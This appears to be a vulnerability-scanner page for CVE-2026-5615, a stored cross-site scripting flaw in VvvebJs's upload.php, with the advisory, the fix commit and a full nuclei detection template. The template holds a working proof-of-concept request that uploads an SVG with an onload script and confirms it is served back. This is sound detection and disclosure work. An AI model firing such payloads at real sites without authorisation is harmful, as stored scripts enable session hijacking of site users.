CVE-2026-5615· CWE-79
VvvebJs <= 2.0.5 - Cross-Site Scripting
mediumseverity
4.3CVSS score
0.8%likelihood of exploitation, next 30 days
56%of all CVEs are less likely
Readycheck to confirm it
Givanz Vvvebjs <= 2.0.5 contains a stored XSS caused by manipulation of the "uploadAllowExtensions" argument in upload.php File Upload Endpoint, letting remote attackers execute scripts, exploit requires crafted input.
Impact
Remote attackers can execute arbitrary scripts, potentially leading to session hijacking or user impersonation.
Fix
Apply the patch 8cac22cff99b8bc701c408aa8e887fa702755336 or update to the fixed version.
How to confirm it
Send: POST /upload.php
Positive when: status_code == 200
Send: GET {{upload_path}}
Positive when: contains_all(body, "{{randstr}}", "<svg xmlns=\"http://www.w3.org/2000/svg\" onload=\"alert(document.domain)\">") and contains(content_type, "image/svg+xml") and status_code == 200Run it with nuclei: nuclei -id CVE-2026-5615 -u <target>
The full check
id: CVE-2026-5615
info:
name: VvvebJs <= 2.0.5 - Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
Givanz Vvvebjs <= 2.0.5 contains a stored XSS caused by manipulation of the "uploadAllowExtensions" argument in upload.php File Upload Endpoint, letting remote attackers execute scripts, exploit requires crafted input.
impact: |
Remote attackers can execute arbitrary scripts, potentially leading to session hijacking or user impersonation.
remediation: |
Apply the patch 8cac22cff99b8bc701c408aa8e887fa702755336 or update to the fixed version.
reference:
- https://github.com/advisories/GHSA-p873-9x3v-gmvh
- https://github.com/givanz/VvvebJs
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
cvss-score: 4.3
cve-id: CVE-2026-5615
epss-score: 0.00773
epss-percentile: 0.56025
cwe-id: CWE-79
metadata:
max-request: 2
verified: true
shodan-query: http.html:"VvvebJs"
tags: cve,cve2026,xss,stored-xss,file-upload,svg,vvvebjs
flow: http(1) && http(2)
http:
- raw:
- |
POST /upload.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=--nuclei{{randstr_1}}
----nuclei{{randstr_1}}
Content-Disposition: form-data; name="file"; filename="{{randstr}}.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
<text x="10" y="20">{{randstr}}</text>
</svg>
----nuclei{{randstr_1}}--
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
extractors:
- type: regex
name: upload_path
part: body
group: 0
regex:
- '/[a-zA-Z0-9_-]+\.svg'
internal: true
- raw:
- |
GET {{upload_path}} HTTP/1.1
Host: {{Hostname}}
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'contains_all(body, "{{randstr}}", "<svg xmlns=\"http://www.w3.org/2000/svg\" onload=\"alert(document.domain)\">")'
- 'contains(content_type, "image/svg+xml")'
- 'status_code == 200'
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from